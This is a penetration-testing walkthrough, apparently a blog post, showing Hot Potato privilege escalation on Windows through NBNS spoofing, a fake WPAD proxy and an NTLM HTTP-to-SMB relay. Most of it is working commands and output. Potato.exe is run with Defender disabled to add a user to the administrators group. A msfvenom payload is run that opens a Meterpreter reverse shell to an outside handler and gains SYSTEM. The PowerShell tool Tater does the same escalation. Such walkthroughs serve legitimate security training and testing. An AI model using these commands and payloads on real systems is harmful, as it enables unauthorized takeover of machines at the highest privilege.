

Hot Potato

Hot potato is the code name of a Windows privilege escalation technique that was discovered by Stephen Breen. This technique is actually a combination of two known windows issues like NBNS spoofing and NTLM relay with the implementation of a fake WPAD proxy server which is running locally on the target host.

NTLM authentication via the same protocol like SMB has been already patched by Microsoft however this technique is using HTTP to SMB authentication in order to create a high privilege service as the HTTP request might come from a high privilege service like the Windows update. Since the traffic contains the NTLM credentials and is passing through a fake proxy server it can be captured and passed to a local SMB listener to create an elevated service which can execute any command as SYSTEM.

Stephen Breen described all the stages of this attack in his blog.

This issue affects various windows versions like:

- Windows 7
- Windows 8
- Windows 10
- Windows Server 2008
- Windows Server 2012

Authenticated User

Stephen Breen has developed a binary which can automate these attacks and can execute any command on the target system with elevated privileges. As an authenticated user (pentestlab) it is worth checking first which are the local administrators on the machine.

```
C:\Users\pentestlab>net localgroup administrators
Alias name     administrators
Comment       Administrators have complete and unrestricted access to the compu
ter/domain

Members

-----
Administrator
john
The command completed successfully.

C:\Users\pentestlab>
```

Verification of Local Administrators

Once the Potato exploit with the associated DLL's is dropped on the system from the command prompt the following can be executed in order to start NBNS spoofing locally on 127.0.0.1.

```
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
```

```
C:\>Potato.exe -ip 192.168.100.4 -cmd "C:\\Windows\\System32\\cmd.exe -K net loc
algroup administrators pentestlab /ADD" -disable_exhaust true -disable_defender
true
Starting NBNS spoofer...WPAD = 127.0.0.1
Clearing dns and nbns cache...
Listening...
Got 127.0.0.1
Spoofed target WPAD succesfully...
```

Hot Potato – Execution of Exploit

From the moment that HTTP traffic is generated through a configured Internet explorer (for example to use corporate proxy settings) the attack will be deployed and the CMD command will be executed with higher privileges.

```
C:\>Potato.exe -ip 192.168.100.4 -cmd "C:\\Windows\\System32\\cmd.exe /K net loca
lgroup administrators pentestlab /ADD " -disable_exhaust true -disable_defender
true
Starting NBNS spoofer...WPAD = 127.0.0.1
Clearing dns and nbns cache...
Listening...
Got 127.0.0.1
Spoofed target WPAD succesfully...
Got Request: GET http://127.0.0.1/!
Redirecting to target..http://localhost:80/GETHASHES403325
Got Request: GET http://localhost/GETHASHES403325!
Sending 401...
Got request for hashes...
Got Request: GET http://localhost/GETHASHES403325!
Sending 401...
Parsing initial NTLM auth...
NTLM TIRMTUNTUAABAAAAB7IIogkACQA3AAAADwAPACgAAAAGABEdAAAAD1dJT11SUURIUUU0Ukc3NUd
PUktHUK9UUA=
Setting up SMB relay...
initSecContext - State 0
initSecContext - State 1
Adding TIRMTUNTUAACAAAAGhAeADgAAAFwoqiDa5Um7foYDqgD8YAAAAA JgAmABWAAAABgGxHQAAA
A9XAEkATgAtAFIAUQBEEAgAUQBVAADQAUgBHADcANQACAB4AUwBJAE4ALQBSAFUARABIAFUAVQA0AFYAR
wA3ADUAAQAeAFcASQB0AC0AUgBUAEQASABUAFUANABWAEcANwA1AAQAHgBXAEkATgAtAFIAUQBEEAgAU
```

Hot Potato – Attack Deployment

```

Parsing initial NTLM auth...
NTLM T1RMTUNTUAABAAAAB7IIogkACQA3AAAADwAPACgAAAAGAbEdAAAAD1dJT11SUURIUUU0Ukc3NUd
PUktHUK9UUA==
Setting up SMB relay...
initSecContext - State 0
initSecContext - State 1
Adding T1RMTUNTUAACAAAAGhAeADgAAAFwoqiDa5Um7foYDqgD8YAAAAAAJgAmABWAAAABgGxHQAAA
A9XAEkATgAtAFIAUQBEAEgAUQBUDQAUgBHADcANQACAB4AUwBJAE4ALQBSAFUARABIAFUUAQA0AFYAR
WA3ADUAAQAeAFcASQB0AC0AUgBUAEQASABUAFUANABWAEcANwA1AAQAHgBXAEkATgAtAFIAUQBEAEgAU
QBUDQAUgBHADcANQADAB4AUwBJAE4ALQBSAFUARABIAFUUAQA0AFYARWA3ADUABWAIAMHI0hH9stIBA
AAAAA== to queue
Got SMB challenge T1RMTUNTUAACAAAAGhAeADgAAAFwoqiDa5Um7foYDqgD8YAAAAAAJgAmABWAAA
AABgGxHQAAAAB9XAEkATgAtAFIAUQBEAEgAUQBUDQAUgBHADcANQACAB4AUwBJAE4ALQBSAFUARABIAF
UAUQA0AFYARWA3ADUAAQAeAFcASQB0AC0AUgBUAEQASABUAFUANABWAEcANwA1AAQAHgBXAEkATgAtAF
IAUQBEAEgAUQBUDQAUgBHADcANQADAB4AUwBJAE4ALQBSAFUARABIAFUUAQA0AFYARWA3ADUABWAIAM
HI0hH9stIBAAAAA==
Got Request: GET http://localhost/GETHASHES403325!
Sending 401...
Parsing final auth...
T1RMTUNTUAADAAAAAFAgAAAAAAAAAAAAAAAAABYAAAAAAAAAFgAAAAAAAAAAAAAAAAABYAAAA
BcKIogYBsR0AAAAAP919y9xfWbdBKQUhTc7QWXA==
Got T1RMTUNTUAADAAAAAFAgAAAAAAAAAAAAAAAAABYAAAAAAAAAFgAAAAAAAAAAAAAAAAABY
AAAAABcKIogYBsR0AAAAAP919y9xfWbdBKQUhTc7QWXA==
Successfully started service

```

Hot Potato – Attack Deployment 2

In this example the pentestlab user was added to the local administrators group which means that elevation was possible.

```

C:\Users\pentestlab>net localgroup administrators
Alias name      administrators
Comment        Administrators have complete and unrestricted access to the compu
ter/domain

Members

-----
Administrator
john
pentestlab
The command completed successfully.

```

pentestlab user added as local admin

Metasploit

It is also possible to use Metasploit Framework in order to get a Meterpreter session as SYSTEM instead of adding a new user to local administrators group. This can be achieved with the use of an additional Metasploit payload that should be dropped on the target except of the Hot Potato exploit and through multiple Metasploit handlers.

The only thing that needs to be modified in the Hot Potato parameters is the command that needs to be executed. Instead of adding the pentestlab user to the local administrators group the pentestlab3.exe which is a Metasploit payload created by msfvenom will be executed.

Before anything else a second shell should be opened on the same host so at the same time the Handler module from Metasploit should be used in order to receive the connection.

```
meterpreter > getuid
Server username: WIN-RUDHUU4VG75\pentestlab
meterpreter > shell
Process 2664 created.
Channel 4 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\>pentestlab3.exe
pentestlab3.exe

C:\>|
```

Metasploit – Executing the Payload

```
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.100.3:4444
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 192.168.100.4
[*] Meterpreter session 2 opened (192.168.100.3:4444 -> 192.168.100.4:49170) at
2017-04-12 03:03:07 -0400

meterpreter >
```

Metasploit Multi Handler – 2nd Meterpreter Session

The second shell is necessary as it will be used to initiate HTTP traffic which Hot Potato is needed avoiding the waiting time until the next Windows update which it has been described in various sources on the web related to this privilege escalation method.

From the first shell the Potato exploit will be modified slightly in order to run the payload.

```
meterpreter > getuid
Server username: WIN-RUDHUU4VG75\pentestlab
meterpreter > shell
Process 2688 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\>Potato.exe -ip 192.168.100.4 -cmd "C:\\pentestlab3.exe" -disable_exhaust true
e -disable_defender true
```

Hot Potato and Metasploit Payload

On the second shell the Internet Explorer should be initiated so the exploit can capture the HTTP traffic.


```

meterpreter > shell
Process 1632 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\>cd Program Files
cd Program Files

C:\Program Files>cd Internet Explorer
cd Internet Explorer

C:\Program Files\Internet Explorer>iexplore.exe
iexplore.exe

C:\Program Files\Internet Explorer>

```

Initiate Internet Explorer via CMD

This would cause the chain of attacks that Hot Potato uses like NBNS spoofing and NTLM relay through different protocols (HTTP to SMB) to create a new system service that will execute the pentestlab3 payload.

```

C:\>Potato.exe -ip 192.168.100.4 -cmd "C:\\pentestlab3.exe" -disable_exhaust true
e -disable_defender true
Potato.exe -ip 192.168.100.4 -cmd "C:\\pentestlab3.exe" -disable_exhaust true -d
isable_defender true
Starting NBNS spoofer...WPAD = 127.0.0.1
Clearing dns and nbns cache...
Listening...
Got 127.0.0.1
Spoofed target WPAD succesfully...
Got Request: GET http://127.0.0.1/!
Redirecting to target..http://localhost:80/GETHASHES237457
Got Request: GET http://localhost/GETHASHES237457!
Sending 401...
Got request for hashes...
Got Request: GET http://localhost/GETHASHES237457!
Sending 401...
Parsing initial NTLM auth...
NTLM TlRMTVNTUAABAAAAB7IIogkACQA3AAAADwAPACgAAAAGAbEdAAAAD1dJTt1SVURIVVU0Vkc3NVd
PUktHUK9VUA==
Setting up SMB relay...
initSecContext - State 0
initSecContext - State 1
Adding TlRMTVNTUAACAAAAHgAeADgAAAAFwoqint6EWPFAmUPAW8QAAAAAAJgAmABWAAAABgGxHQAAA

```

Hot Potato Triggered

```

Setting up SMB relay...
initSecContext - State 0
initSecContext - State 1
Adding TlRMTVNTUAACAAAAHgAeADgAAAAFwoqint6EWPFAmUPAW8QAAAAAAJgAmABWAAAABGxHQAAA
A9XAEkATgAtAFIAVQBEAEgAVQBVDQAVgBHADcANQACAB4AVwBJAE4ALQBSAFUARABIAFUAVQA0AFYAR
wA3ADUAAQAeAFcASQB0AC0AUgBVAEQASABVAFUANABWAEcANwA1AAQAHgBXAEkATgAtAFIAVQBEAEgAV
QBVDQAVgBHADcANQADAB4AVwBJAE4ALQBSAFUARABIAFUAVQA0AFYARwA3ADUABwAIAAehCVRds9IBA
AAAAA== to queue
Got SMB challenge TlRMTVNTUAACAAAAHgAeADgAAAAFwoqint6EWPFAmUPAW8QAAAAAAJgAmABWAA
AABGxHQAAA9XAEkATgAtAFIAVQBEAEgAVQBVDQAVgBHADcANQACAB4AVwBJAE4ALQBSAFUARABIAF
UAVQA0AFYARwA3ADUAAQAeAFcASQB0AC0AUgBVAEQASABVAFUANABWAEcANwA1AAQAHgBXAEkATgAtAF
IAVQBEAEgAVQBVDQAVgBHADcANQADAB4AVwBJAE4ALQBSAFUARABIAFUAVQA0AFYARwA3ADUABwAIAA
ehCVRds9IBAAAAA==
Got Request: GET http://localhost/GETHASHES237457!
Sending 401...
Parsing final auth...
TlRMTVNTUAADAAAAAFAgAAAAAAAAWAAAAAABYAAAAAFAgAAAAAAAAWAAAAAABYAAAA
BcKIogYBsR0AAAAPLrQLHdQ6qkyxj4x4jZd/UQ==
Got TlRMTVNTUAADAAAAAFAgAAAAAAAAWAAAAAABYAAAAAFAgAAAAAAAAWAAAAAABY
AAAABcKIogYBsR0AAAAPLrQLHdQ6qkyxj4x4jZd/UQ==
Successfully started service

```

Hot Potato Privilege Escalation

A third Metasploit handler should be used to capture the payload that it has been executed with higher privileges.

```

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.100.3:4444
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 192.168.100.4
[*] Meterpreter session 1 opened (192.168.100.3:4444 -> 192.168.100.4:49180) at
2017-04-12 03:31:40 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

Hot Potato – Capturing the Metasploit Payload

PowerShell

There is an alternative option which simulates the Hot Potato exploit in PowerShell and is called Tater. This script is included in Empire, P0wnedShell and PS>Attack and it has two methods to perform privilege escalation.

1. NBNS WPAD Bruteforce + Windows Defender Signature Updates
2. WebClient Service + Scheduled Task

This script has been tested in Windows 2008 Server R2 environments however it doesn't seem to work reliably as in Windows 7 and Windows 10. Therefore the screenshot below is from the owner of this tool and not from **Pentestlab** but it is used for a quick reference of Hot Potato attack in Powershell.


```
Windows PowerShell
PS C:\Users\user\Desktop> net localgroup administrators
Alias name      administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members
-----
Administrator
Kevin
The command completed successfully.

PS C:\Users\user\Desktop> . .\Tater.ps1
PS C:\Users\user\Desktop> Invoke-Tater -Command "net localgroup administrators user /add"
2016-01-31T22:09:19 - Tater (Hot Potato Privilege Escalation) started
Local IP Address = 10.10.2.100
Spoofing Hostname = WPAD
Windows Defender Trigger Enabled
Real Time Console Output Enabled
Run Stop-Tater to stop Tater early
Use Get-Command -Noun Tater* to show available functions
Press any key to stop real time console output

2016-01-31T22:09:19 - Waiting for incoming HTTP connection
2016-01-31T22:09:19 - Flushing DNS resolver cache
2016-01-31T22:09:19 - Starting NDNIS spoofer to resolve WPAD to 127.0.0.1
2016-01-31T22:09:20 - WPAD has been spoofed to 127.0.0.1
2016-01-31T22:09:20 - Starting Windows Defender signature update
2016-01-31T22:09:22 - HTTP request for /wpad.dat received from 127.0.0.1
2016-01-31T22:09:27 - Attempting to redirect to http://localhost/gethashes and trigger relay
2016-01-31T22:09:27 - HTTP request for http://ds.download.windowsupdate.com/v11/2/windowsupdate/redis/v6-win?sp1-wuredi
r.cab?1602010309 received from 127.0.0.1
2016-01-31T22:09:31 - HTTP request for /GETHASHES received from 127.0.0.1
2016-01-31T22:09:32 - HTTP to SMB relay triggered by 127.0.0.1
2016-01-31T22:09:32 - Grabbing challenge for relay from 127.0.0.1
2016-01-31T22:09:32 - Received challenge F328CFDBE9C87C49 for relay from 127.0.0.1
2016-01-31T22:09:32 - Providing challenge F328CFDBE9C87C49 for relay to 127.0.0.1
2016-01-31T22:09:33 - Sending response for \ for relay to 127.0.0.1
2016-01-31T22:09:33 - HTTP to SMB relay authentication successful for \ on 127.0.0.1
2016-01-31T22:09:33 - SMB relay service UGYPGPLRFWSIHHTKCAKQ created on 127.0.0.1
2016-01-31T22:09:33 - SMB relay command likely executed on 127.0.0.1
2016-01-31T22:09:33 - SMB relay disabled due to success
2016-01-31T22:09:33 - SMB relay service UGYPGPLRFWSIHHTKCAKQ deleted on 127.0.0.1
2016-01-31T22:09:34 - Attempting to stop HTTP listener
2016-01-31T22:09:37 - Tater was successful and has exited

PS C:\Users\user\Desktop> net localgroup administrators
Alias name      administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members
-----
Administrator
Kevin
user
The command completed successfully.
```

Hot Potato – PowerShell

Resources

<https://github.com/foxglovesec/Potato>

[Hot Potato – Windows Privilege Escalation](#)

<https://github.com/Kevin-Robertson/Tater>